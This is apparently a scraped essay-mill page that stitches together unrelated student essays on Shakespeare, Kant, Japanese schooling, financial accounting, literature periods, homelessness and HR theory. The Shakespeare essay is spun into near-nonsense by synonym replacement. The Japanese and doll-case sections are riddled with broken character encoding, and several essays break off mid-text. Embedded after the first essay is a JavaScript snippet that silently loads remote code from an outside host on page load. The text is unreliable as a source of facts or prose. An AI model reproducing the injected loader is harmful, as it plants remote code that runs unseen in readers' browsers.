Spirit Of Shakespeare And Elizabethan Times Essay free essay sample

, Research Paper The Spirit of Shakespeare and the Elizabethan Times During the reign of Queen Elizabeth I, English civilization was at its greatest. England during the Elizabethan Age saw a metempsychosis of literature, in big portion because of William Shakespeare. Shakespeare? s Hagiographas had all the features of Elizabethan life. The Elizabethan Age ( 1558-1603 ) was called so, because of the length of Queen Elizabeth? s reign. It was besides called the age of Shakespeare ( 1569-1616 ) because of his influence on literature during that clip. These were lively, energetic times, during which there was a cultural Renaissance. Queen Elizabeth loved play and poesy and because of that, many authors during her regulation were able to make good and besides receive fiscal support from the wealthy. These times besides had many societal categories. These societal categories normally would neer hold assorted. But because of the theater, all sorts of people came together. We will write a custom essay sample on Spirit Of Shakespeare And Elizabethan Times Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page ? Playwrights found themselves composing for extremely diverse audiences which reflected the of all time altering do up and energy of society? Shakespeare? s play had to be written in a manner so that the capable affair would appeal to a broad audience. ? The most successful dramatists of the twenty-four hours, such as Shakespeare, made certain that their play included? Something for everybody? . ? The people during Elizabethan times were hungry for information. This avidity to cognize about everything that was traveling on at the minute was because the Queen had made the people feel really near to her and to her authorities. Shakespeare, who understood instinctively what this meant, used his dramas as manner to inform the public about everything from societal issues to political relations, but of class he did it in a really amusive and interesting manner. ? -this was a ferociously individualistic people who felt connected, through the peculiarly democrat inherent aptitudes of the Queen and authorities, with events. ? For the Elizabethans, and for Shakespeare, war was a really chilling thing. But it besides had an exciting quality to it. ? Shakespeare, simplifies military leaders, stressing their headline entreaty. Endowing them with his humor, his popular easy power, his gift of imagination, he makes them versions or transcripts of himself, reflecting his ain observation and experience of war. ? Shakespeare would demo all sides of the war in his historical dramas, without uncovering excessively much of what really went on, on the interior. R / gt ; The Elizabethans had besides discovered the Grecian and Roman classics. New versions were made, so that they could be acted out on phase. Shakespeare had seen these new versions of Greek and Roman calamities and comedies. He recognized many similarities to what was traveling on in the English royalty household. ? Family passion, retaliation, enviousness, all the local, domestic springs of popular and entertaining dramas, were the productive forces of universe politics. ? Shakespeare was able to transform and accommodate all of these emotions into his dramas. At some point during Queen Elizabeth? s clip in power, there was a great trade of spiritual tenseness. The Church of England had been established. Not desiring to pique anybody, Elizabeth aimed to convey Protestants and Catholics together. These were old ages when the people were diffident which manner to travel spiritually or politically. ? Queen Elizabeth? s singular reign was a equilibrating act between opposing forces in these spheres, but she could make little to accommodate the existent differences. ? Shakespeare was decidedly in that regard besides a merchandise of his clip. On the exterior he conformed but on the interior he felt the spiritual confusion of his epoch. ? He had ever remained as much a competitory patriot as an inside persuaded Catholic. He delighted in playing to the chauvinist crowd-which did non itself care much either manner in the great spiritual divide. ? These were religious times, which Shakespeare would convey in his literary plants. Shakespeare truly showed us what the spirit of the Elizabethan times was. ? He created the most graphic characters of the Elizabethan- or any other-stage. His use of linguistic communication, both lofty and low, shows singular humor and nuance. Most significantly, his subjects are so cosmopolitan that they transcend coevalss to stir the imaginativeness of audiences everyplace to this twenty-four hours. ? These were times of prosperity and optimism, which influenced all of the cultural facets of this period, in add-on to of class the literary works.. This was a clip of changeless alterations. ? No tusk tower poet, he was speedy to catch and absorb a new voice. ? Shakespeare was able to place what the people were experiencing and believing and demo it in his literary plants. He ever tried to maintain his audience delighted, and maintain their imaginativenesss traveling. He was really observant and wholly understood the human status of the Elizabethan Age. Bibliography Shakespeare by olivia krinton ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Free Essays on Kants C.I.

Immanuel Kant bases ethics on the autonomy of good will. Kant attempted to figure out the way we act according to our ability for free choice. Autonomy is any act that is done because of our own free choice. Kant views ethics as an intrinsic good rather than and an instrumental good, or as a good that is built-in and is internal. So anything that you do is done because you decide that it can be accounted for publicly as correct or right. According to Kant, certain acts are morally right if they accompanied by good will, and we are morally good only if we act from duty. Acting morally is not enough according to our duty, we must act only because it is our duty. Kant believes that our main goal in thinking is to reason. In reasoning we come up with objective maxims with which we adjust our personal maxims which we intern use. We are able to step outside of a certain situation and act in a way which is a determined way that we ought to act. We need to look at ourselves critica lly and reflect so we can see ourselves through the views of others. So when considering a certain choice we have to make, we first think of how that choice will look publicly. We then make the choice according to whether it will be accepted or not. Because of this, people realize what they are doing and can be held accountable for the decisions as well as their actions. To Kant, virtue lies in the good will of us rather than any certain end to be achieved, while good will is shown in the performance of an action for the sake of carrying out a duty rather than for some other end. Humans may act as subjects of free will, but the effect of autonomy is morality. A maxim is something that is accepted on its own merits and relates to moral law in that one makes choices according to God as right or wrong. So if we are considering a choice to be publicly accepted we are really considering whether it would be considered right or wrong by God since that is ho... Free Essays on Kant's C.I. Free Essays on Kant's C.I. Immanuel Kant bases ethics on the autonomy of good will. Kant attempted to figure out the way we act according to our ability for free choice. Autonomy is any act that is done because of our own free choice. Kant views ethics as an intrinsic good rather than and an instrumental good, or as a good that is built-in and is internal. So anything that you do is done because you decide that it can be accounted for publicly as correct or right. According to Kant, certain acts are morally right if they accompanied by good will, and we are morally good only if we act from duty. Acting morally is not enough according to our duty, we must act only because it is our duty. Kant believes that our main goal in thinking is to reason. In reasoning we come up with objective maxims with which we adjust our personal maxims which we intern use. We are able to step outside of a certain situation and act in a way which is a determined way that we ought to act. We need to look at ourselves critica lly and reflect so we can see ourselves through the views of others. So when considering a certain choice we have to make, we first think of how that choice will look publicly. We then make the choice according to whether it will be accepted or not. Because of this, people realize what they are doing and can be held accountable for the decisions as well as their actions. To Kant, virtue lies in the good will of us rather than any certain end to be achieved, while good will is shown in the performance of an action for the sake of carrying out a duty rather than for some other end. Humans may act as subjects of free will, but the effect of autonomy is morality. A maxim is something that is accepted on its own merits and relates to moral law in that one makes choices according to God as right or wrong. So if we are considering a choice to be publicly accepted we are really considering whether it would be considered right or wrong by God since that is ho...

Japanese School System Facts

Japanese School System Facts The Japanese educational system was reformed after World War II. The old 6-5-3-3 system was changed to a 6-3-3-4 system (6 years of elementary school, 3 years of junior high school, 3 years of senior high school and 4 years of University) with reference to the American system. The gimukyoiku ç ¾ ©Ã¥â€¹â„¢Ã¦â€¢â„¢Ã¨â€š ² (compulsory education) time period is 9 years, 6 in shougakkou Ã¥ ° Ã¥ ­ ¦Ã¦   ¡ (elementary school) and 3 in chuugakkou ä ¸ ­Ã¥ ­ ¦Ã¦   ¡ (junior high school). Japan has one of the worlds best-educated populations, with 100% enrollment in compulsory grades and zero illiteracy. While not compulsory, high school (koukou é «ËœÃ¦   ¡) enrollment is over 96% nationwide and nearly 100% in the cities. The high school drop out rate is about 2% and has been increasing. About 46% of all high school graduates go on to university or junior college. The Ministry of Education closely supervises curriculum, textbooks, and classes and maintains a uniform level of education throughout the country. As a result, a high standard of education is possible. Student Life Most schools operate on a three-term system with the new year starting in April. The modern educational system started in 1872 and is modeled after the French school system, which begins in April. The fiscal year in Japan also begins in April and ends in March of the following year, which is more convenient in many aspects. April is the height of spring when cherry blossoms  (the most loved flower of the Japanese!) bloom and the most suitable time for a new start in Japan. This difference in the school-year system causes some inconvenience to students who wish to study abroad in the U.S. A half-year is wasted waiting to get in and often another year is wasted when coming back to the Japanese university system and having to repeat a year. Except for the lower grades of elementary school, the average school day on weekdays is 6 hours, which makes it one of the longest school days in the world. Even after school lets out, the children have drills and other homework to keep them busy. Vacations are 6 weeks in the summer and about 2 weeks each for winter and spring breaks. There is often homework over these vacations.   Every class has its own fixed classroom where its students take all the courses, except for practical training and laboratory work. During elementary education, in most cases, one teacher teaches all the subjects in each class. As a result of the rapid population growth after World War II, the numbers of students in a typical elementary or junior high school class once exceeded 50 students, but now it is kept under 40. At public elementary and junior high school, school lunch (kyuushoku ç µ ¦Ã© £Å¸) is provided on a standardized menu, and it is eaten in the classroom. Nearly all junior high schools require their students to wear a school uniform (seifuku åˆ ¶Ã¦Å" ). A big difference between the Japanese school system and the American School system is that Americans respect individuality while the Japanese control the individual by observing group rules. This helps to explain the Japanese characteristic of group behavior. Translation Exercise Because of the rapid population growth after World War II, the number of students in a typical elementary or junior high school once exceeded 50.  Dainiji sekai taisen no ato no kyuugekina jinkou zouka no tame, tenkeitekina shou-chuu gakkou no seitosu wa katsute go-juu nin o koemashita.ç ¬ ¬Ã¤ ºÅ'æ ¬ ¡Ã¤ ¸â€"ç•Å'Ã¥ ¤ §Ã¦Ë† ¦Ã£  ®Ã£ â€šÃ£  ¨Ã£  ®Ã¦â‚¬ ¥Ã¦ ¿â‚¬Ã£  ªÃ¤ º ºÃ¥  £Ã¥ ¢â€"åŠ  Ã£  ®Ã£ Å¸Ã£â€š Ã£â‚¬ Ã¥â€¦ ¸Ã¥Å¾â€¹Ã§Å¡â€žÃ£  ªÃ¥ ° Ã¤ ¸ ­Ã¥ ­ ¦Ã¦   ¡Ã£  ®Ã§â€Å¸Ã¥ ¾â€™Ã¦â€¢ °Ã£  ¯Ã£ â€¹Ã£  ¤Ã£  ¦Ã¤ º ºÃ£â€šâ€™Ã¨ ¶â€¦Ã£ Ë†Ã£  ¾Ã£ â€"㠁Ÿã€‚ Grammar ~no tame means because of ~. I didnt go to work because of a cold.Kaze no tame, shigoto ni ikimasen deshita.é ¢ ¨Ã©â€š ªÃ£  ®Ã£ Å¸Ã£â€š Ã£â‚¬ Ã¤ »â€¢Ã¤ ºâ€¹Ã£  «Ã¨ ¡Å'㠁 Ã£  ¾Ã£ â€ºÃ£â€šâ€œÃ£  §Ã£ â€"㠁Ÿã€‚ Vocabulary dainiji sekai taisen ç ¬ ¬Ã¤ ºÅ'æ ¬ ¡Ã¤ ¸â€"ç•Å'Ã¥ ¤ §Ã¦Ë† ¦ World War II ato 㠁‚㠁 ¨ after kyuugekina æ€ ¥Ã¦ ¿â‚¬Ã£  ª rapid jinkou zouka ä º ºÃ¥  £Ã¥ ¢â€"åŠ   population growth tenkeitekina å… ¸Ã¥Å¾â€¹Ã§Å¡â€žÃ£  ª typical shou chuu gakkou Ã¥ ° Ã¤ ¸ ­Ã¥ ­ ¦Ã¦   ¡ elementary and junior high schools seitosuu 生å ¾â€™Ã¦â€¢ ° the numbers of students katsute 㠁‹ã  ¤Ã£  ¦ once go-juu ä ºâ€Ã¥   fifty koeru è ¶â€¦Ã£ Ë†Ã£â€šâ€¹ to exceed

FINANCIAL ACCOUNTING Essay Example | Topics and Well Written Essays - 1500 words

FINANCIAL ACCOUNTING - Essay Example 180,000/5=?36,000. Motor Vehicles: The depreciation charge for the new vehicle purchased would be ?25,000 x 40% = ?10,000. The remainder of the vehicles that need to be depreciated for the current year cost ?980,000 less the car disposed of ?20,000 = ?960,000. From the total accumulated depreciation figure of ?500,000, ?8,000 is attributable to the vehicle disposed of. As such, accumulated depreciation attributable to the vehicles to be depreciated for the current year amounts to ?492,000, giving a net book value of ?468,000. As such, the depreciation charge for the year for these vehicles is 40% of ?468,000 amounting to ?187,200. Total depreciation charge for the year is the sum of the emboldened figures = ?453,200. (a) (ii) Profit / Loss of Disposal The motor vehicle disposed of cost ?20,000 and the accumulated depreciation in respect of such vehicle was ?8,000 (?20,000x40%). As such the balance on the vehicle was ?12,000. The company was only able to obtain ?8,000 from the sale an d as such made a loss of ?4,000 (12-8). (a)(iii) Impairment Loss for the year As at the date of the impairment review, the item 2 of plant and machinery had a carrying value of ?180,000 less the ?36,000 depreciation charge = ?144,000. The recoverable amount has been ascertained as ?50,000. As per IAS 36, the asset must be written down to the lower of carrying value or recoverable amount. As such, there is an impairment loss of ?94,000 (144-50). (a)(iv) Release of the grant for the year In accordance with IAS 20, the grant has been treated as deferred income and released over the lifetime of the asset. As such, the release for the year would be ?400,000/5=?80,000. (b) Notes to the Balance Sheet as at 30th September 2010: Property Plant and Equipment Land & Buildings Plant & Machinery Motor Vehicles Total COST as at 1 Oct 2009 3,000,000 980,000 980,000 4,960,000 Additions 25,000 25,000 Disposals (20,000) (20,000) Revaluations 2,000,000 2,000,000 as at 30 Sept 2010 5,000,000 980,000 98 5,000 6,965,000 ACCUMULATED DEPRECIATION as at 1 Oct 2009 500,000 436,000 500,000 1,436,000 Depreciation on Disposals (8,000) (8,000) Depreciation written off for revaluation (500,000) (500,000) depreciation charge for the year 60,000 196,000 197,200 453,200 as at 30 Sept 2010 60,000 632,000 689,200 1,381,200 Impairment of assets (94,000) NET BOOK VALUE as at 30 Sept 2010 4,940,000 254,000 295,800 5,583,800 (c) MEMO To: Peter Williams, Marketing Director From: John Doe, Financial Accountant Date: 15th April 2011 Subject: Queries on the Financial Statements for the year ended 30.9.10 I am writing to you in response to the various queries you made known to me in relation to the aforesaid Financial Statements of Green PLC. Revaluation Surplus The land and buildings were revalued by ?2 Million in the aforesaid Financial Statements so that the resulting value of the asset at the end of the said period was ?5 Million. This is permitted under IAS 16 Property Plant and Equipment, which prov ides that assets can be valued using the Revaluation Model, under which the asset will be recognised at its fair value as opposed to the cost of the asset. The accounting entry in the case of an upward revaluation is to increase the asset value to the revalued amount and to create or increase the Revaluation Reserve by the amount revalued (i.e. the difference between the carrying amount of the

Catholiicism Assignment Example | Topics and Well Written Essays - 250 words - 1

Catholiicism - Assignment Example Another form of modern religious discrimination is generalization of traits, where an isolated case of irresponsibility is used to judge an entire religion. An example can be given of the child abuse scandal committed by catholic priests that was used to express disapproval of the entire Catholic Church and its teachings (Taylor 1). This case demonstrated that despite the tremendous efforts made by both the government and the various religious groups in the country, religious discrimination remains prevalent and there is need for increased efforts to sensitize people on the implications this form of discrimination has on the peaceful coexistence of communities. Although I have not experienced discrimination because of my religious beliefs, there remains a possibility of it happening. However, I plan to use the chance positively, to sensitize the other party on the importance of accommodating the beliefs of others even when those beliefs contradict with ours. It is only through continuous education that sustainable interventions on eradicating religious discrimination will be achieved. Taylor, Pamela. Catholics More Likely to Face Ethnic Bias than Religious Discrimination. Onfaith, 16 March 2007. Web. 18 Sept. 2014.

Eighteenth Century Literature Essay Example for Free

Eighteenth Century Literature Essay At the start of the Eighteenth Century Literature the literary pieces focus on rational and scientific views on all aspects of life be it economic, social, political and religious. The period heralded the Age of Enlightenment which was the thought much prevalent of the day. The writers sought to determine universal principles on humanity, nature, and society. The eighteenth-century literate reflected this quest. Written pieces around this time attacked various spiritual and scientific authority, dogmatism, intolerance, censorship, and economic and social restraints. Thus we can see in Thomas Grays Elegy Written in a Country Churchyard expressedly deals with the social issues prevalent during their time particularly the wide gap between social class and the opportunity to attain greatness. These lines in the poem captured these views: â€Å"Let not Ambition mock their useful toil, Their homely joys, and destiny obscure; Nor Grandeur hear with a disdainful smile The short and simple annals of the Poor. † Look more:  the importance of being earnest satire Grays tone throughout the poem is filled with regret. One can sense that something important is lost. This emotional tone captures the injustices that exist in the society due to wealth. He was actually voicing his opinions clearly against social class prejudices that was apparent during that period. In Jonathan Swift’s A Modest Proposal also tackled the social ills during his time. This satirical essay used allusions to English oppressive attitudes toward the Irish. This is apparent in these lines I grant this food may be somewhat dear, and therefore very proper for Landlords, who as they have already devoured most of the Parents, seem to have the best Title to the Children. He also pointed out criticisms on England on the way it mistreated Ireland: For this kind of commodity will not bear exportation, and flesh being of too tender a consistence, to admit a long continuance in salt, although perhaps I could name a country, which would be glad to eat up our whole nation without it. At first glance, the poem appeared to be criticisms heaped on England. But upon closer inspection one can also sense that Swift was expressing his sentiments on the conditions in Ireland, more specifically the can-do spirit of the times that pervaded the community which misled people into thinking that they can cure all social and economic ills specifically fix population and labor issues. Swift’s Modest Proposal talked about a burlesque of projects concerning the poor, that were considered fashionable in the early 18th century. Eighteenth Century Literature is characterized by extreme rationalism and skepticism which gave rise to deism or the belief in the existence of God which became the main theme in the succeeding era of Romanticism. This era is considered as the Age of Sensibility which of course clased with the ideals of the Middle Ages. Towards the end of the period, an intensifying focus on instinct and feeling instead of judgment and restraint was noted paving the way for the Romantic Literature. Romantic Literature During the period of Romanticism, industrialization was introduced. Steam engine was developed and this caused expansion of cities and a number of migrants leaving the countryside. Poor people flocked to the city. Issues such as class-conflicts and concerns on environmental pollution were prevalent. This developments in the era prompted the poets and the writers to seek solace in the beauty of nature. Thus, in most of their literary works we can see the universal theme of Mother Nature being the true cause of wisdome and the antidote to industrialization. Philosophers particularly Jean Jacques Rousseau tackled pertinent issues such as the supremacy or dominance of nature over civilization. A group of poets called Lake Poets from England espoused this philosophical view. Lake Poets comprised of a group of friends such as William Wordsworth and Samuel Taylor Coleridge. The work of these two poets reflect their sentiments perfectly. These Romantic Poets utilized emotions and reflections in their poets to get their message across. Wordsworth’s `I Wandered Lonely as a Cloud`and Coleridge’s `The Eolian Harp` reflected their thoughts about nature and how much they value it. â€Å"I Wandered Lonely as a Cloud by Wordsworth is about the beauty of nature and the need for introspection. This is best captured in the last lines of the poem: â€Å"For oft, when on my couch I lie In vacant or in pensive mood, They flash upon that inward eye Which is the bliss of solitude; And then my heart with pleasure fills, And dances with the daffodils. † Nature after all is best understood and appreciated in solitude. Solitude here however does not mean loneliness but inner peace or tranquility which is the by-product of being in commune with the natural order. Samuel Taylor Coleridge’s `The Eolian Harp` also tackles the beauty that nature brings. The Eolian Harp is a stringed instrument which produces music when placed in an open window allowing breeze to pass over it. The eolian harp was often used by poets in the Romantic period to represent creativity. Just like Wordsworth’s poem, it sought to cope with pensiveness and nature as the solution or cure for this pensiveness as apparent in the first lines of the poem: â€Å"My pensive SARA ! thy soft cheek reclined Thus on mine arm, most soothing sweet it is To sit beside our Cot, our Cot oergrown With white-flowerd Jasmin, and the broad-leavd Myrtle† Coleridge and Wordsworth, however, have different versions of romanticism. Coleridge wanted to make the paranormal real or believable. Wordsworth’s idea of romanticism is to stir the imagination of readers using real characters. Victorian Literature During the Victorian Era (1837 – 1901), novels and poems were no longer written mainly to please the aristocratic few but to make an impression and cater to the tastes of the much larger middle class. The novels were also getting wider acceptance around this time. In this era, romantic images of the past were extolled. The writers use everyday language and combine it with classical and traditional language to symbolize the ushering of modernity in the Victorian period. At that period, the economy was developing, the nobility was gaining less prominence, and the class structures were vanishing. There is a expressed need for Victorian poets to find a voice that would capture the essence of their time and place. Rudyyard, Kipling ` Danny Deever` attempts to portray the inner turmoils of a man about to be executed. The poem is about military execution parade with Danny Deever. What makes you look so white, so white? said Files-on-Parade. Im dreadin what Ive got to watch, the Colour-Sergeant said. For theyre hangin Danny Deever, you can hear the Dead March play, The regiments in ollow square theyre hangin him to-day; Danny is to be executed by hanging because he killed a fellow soldier while he was asleep. One can sense the concerns of the soldier. Another important poet in the Victorian Era is William Ernest Henley who wrote â€Å"Invictus. † His poems were largely based on his personal reflections of his life and his situation being an amputee who suffered tuberculosis of the bone. â€Å"In the fell clutch of circumstance I have not winced nor cried aloud. Under the bludgeonings of chance My head is bloody, but unbowd. † The common theme that ran through the poems is about struggles in life. Danny Deever struggled with his work as a soldier and in Invictus, struggles against disease was obvious. Literature in Victorian era is largely characterized as certain, conservative and objective. Writers in this area had learned to live with realities plaguing them be it social, economic and religious. Certainty in both poems come in the form of death and struggles. The views during this literary period were predominantly conservative especially when it came to social perspectives. The upheavals the people experienced during the romantic era had died down in the Victorian era. Much of the poets’ works around this time served to link and prepared writers as they paved way for the modern era. The literary pieces around this time also tended to reminiscing the past particularly the stories in the classical literature and the medieval literature of England. The Victorians cherised the the heroism, chivalry and nobility of the knights in the past and hoped to recapture that behavior in their period.

Misconceptions About Homelessness Essay -- homeless poverty Essays Pap

Misconceptions About Homelessness ?Over the past year, over two million men, women, and children were homeless? in America. (NLCHP) Homeless people face an intense struggle just to stay alive despite the fact that society turns its head from the problem. The government makes laws that discriminate against homeless people, which make it, illegal for them to survive. The mistreatment of homeless people is an issue that is often ignored in our community. When you see a homeless person on the streets how do you react? Do you turn your head and ignore them? Do you become angry that they are living on the streets? Do you feel frightened and avoid the situation all together? Or do you see these people as human beings and treat them in that way? Homeless people are ?subjected to alienation and discrimination by mainstream society?. (NLCHP) Most alienation and discrimination comes from the lack of education about homeless people. There are numerous untrue myths about homeless people. Many people believe that homeless people ? commit more violent crimes than housed people.? (NLCHP) The reality is that homeless people actually commit less violent crimes than people with homes do. Dr. Pamela Fischer, of John Hopkins University, studied arrest records in Baltimore and discovered that even though homeless people were more likely to commit non-violent and non-destructive crimes, they were less likely to commit violent crimes against people. (NLCHP) The crimes that these people are committing are necessary to keep them alive. These crimes include sleeping, eating, and panhandling. Making it illegal to perform necessary daily activities in public when homeless people have no where else to go makes it impossible for homeless people to avoid violating the law. (NLCHP) Another myth about homeless people is that they do not work and that they get their money from public assistance programs. A study done in Chicago discovered that ?39% of homeless people interviewed had worked for some time during the previous month? . (NLCHP) Many of the people who do not work are actively trying to find jobs, but are discriminated against by the work force. In an interview done at the River Street Homeless Shelter I found many people who have experienced this discrimination. ?People can?t get a job without an address. When they use the shelter?s address they get turned down.? (Mike) Speaking... ...his Website provided me with many facts on civil rights violations dealing with homeless people as well as basic facts on homelessness and poverty in America. Ott, Jeff. My World. Van Nuys: Sub City. 2000. This is a book written by a former homeless man. He has overcome drug addiction as well as sexual abuse as a child. In this book he describes personal feelings as well as facts about homelessness. Rick. Personal Interview. May 8, 2000. Rick is a homeless man who works at the River Street Homeless Shelter. He has worked with many different homeless shelters in northern California. He feels that the Mayor needs to spend a night with the homeless people of Santa Cruz so that he understands what they go through. Rick is fighting the camping ban as well as working towards receiving funding for a year round shelter. United States. Constitution. First Amendment. United States: 1788. The First Amendment states that ?Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.?

HR Employee Development & Workplace Learning Essay

Human resource development and knowledge is extremely essential for the success of an organization because HRD reflects upon the objectives and goals of the business which can be achieved through proper human resource planning and management activities and also through implementing the most effective human resource learning theories such as behaviorism theory and situated theory of learning which enhances the skills and talents of the employees to a great extent. (Allan, C. Greg J. Bamber, Nils Timo.. , 2006). It is extremely important for all organizations and managers to acknowledge the fact that the highly competitive business environment of today’s world mainly focuses upon the efficient use of human resources through learning and training them so that they can produce the maximum in a given time rate. Therefore, managers should clearly understand that they need to concentrate all their efforts into obtaining the best from their human resources. Butteriss,M. , 1998). Human resource development and management has always been a topic of discussion. Companies over many decades have tried to understand the complexities of human resource management and many researchers, analyst and great managers have come up with various theories and ideas to deal with this issue. (John B. P, 2009). To go forward with the discussion of HR development, we should first of all clearly understand what appropriate human resources are. Appropriate human resources refer to the individuals within the organization who make a valuable contribution to management system goal attainment. Research into this matter has proven that production in all businesses is accomplished by effective human resource interaction and combination of human resource management and theories. (Sheehan, C. , Peter Holland, Helen De Cieri. , 2006). Research has proven that if employee management and performance management (appraisal) works side by side then no problem can stop the organization from going towards success. For example, if through employee training and learning and training theories, the performance and output of the worker is evaluated then that knowledge regarding the workers performance can help the organization in giving bonuses and rewards to the worker for his dedication, motivation and hard work. (Bray, M. and Peter Waring. , 2006). For instance, a worker’s performance is checked through the performance appraisal system and it proves that the worker is very efficient and hardworking, then that worker can be awarded rewards and bonus for his efficiency and effectiveness. Peetz, D. , 2005) Extensive research into this matter has also proven that if organizations only focus on building and training their employees and do not focus on any program of performance check or management then these organizations will not be able to achieve effective results in the long run. This is because employees need to be constantly checked in order to find out whether they are working with dedi cation and motivation or whether their skills have become outdated or not. Leaving employees totally on their own can lead to disastrous effects. Performance management has become extremely popular in the recent years because its worth and value has been recognized by most organizations nowadays. Human resource managers now clearly understand that without appraising the performance of their workforce they can never find out how productive and effective their workforce is. Moreover, performance appraisal also allows the organization to give bonuses to their employees for good performance and to motivate them more for the future. Research shows that due to performance appraisals nowadays employees are dealt with strictly when they come late to work on a regular basis. Therefore, performance appraisal immediately makes the employees more efficient and effective and ends any kind of laid back behavior that they already had towards their work. (Mamman, A. and Christopher J Rees. , 2005) HR Management and development comprises of not only employee training but it consists of a broader aspect of employee development, learning and education. Through research, it has been found that the employees who have obtained extensive training, learning and development education are the most efficient and effective ones to work in today’s highly competitive business environment HR management basically tries to build the skills and work tasks of the employees so that they can give maximum success and productivity to the organization for which they work. (Ghai, D. ; Hewitt, C. , 1994) Research proves that the accuracy and fairness of the performance appraisal of employees keeps changing every now and then because the role of HR management itself is continuously changing all over the world due to a multiple reasons. (Hicks, N. L. ,1993) Furthermore, the recent crisis the world is facing namely, the War on Terror, has greatly affected the financial condition of the economy of the world due to which oil prices have increased, unemployment has increased, corruption has risen, privatization and consumerism has taken place and all these policies have had a very strong impact upon HRD as it changes to reduce employee stress. Freeman, C. ; Soete, L. , 1993). There are many theories given by a lot of renowned scholars on various issues of HR Management. Two of them are Behaviorism Theory and the other is the Situated Theory. These two theories play a major role in enhancing a trainer’s understanding of the learning process. The Theory of behaviourism is useful for the development of competencies and also for exhibiting technical skills. This is a learning theory and is most advantageous when a change in behavior of a worker is desired. This theory is really helpful for all the major organizations in the world as it plays an important role in judging the attitudes of the employees. Behaviourism is actually a model of training for employees. The systematic training designs, training objectives, computer or electronically device based learning, and also competencies are all a major part of behaviorist learning theory. There are few assumptions related to this learning theory which are to be given importance in order to implement it in an organization.

New Heritage Doll Company: Business Overview

Index Executive summery†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. †¦1 Introduction†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 2 Case analysis Match My Doll Clothing†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. †¦. †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 2 Design Your Own Doll†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚ ¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 3 Comparison†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. †¦. †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦4 Additional Questions†¦Ã¢â‚¬ 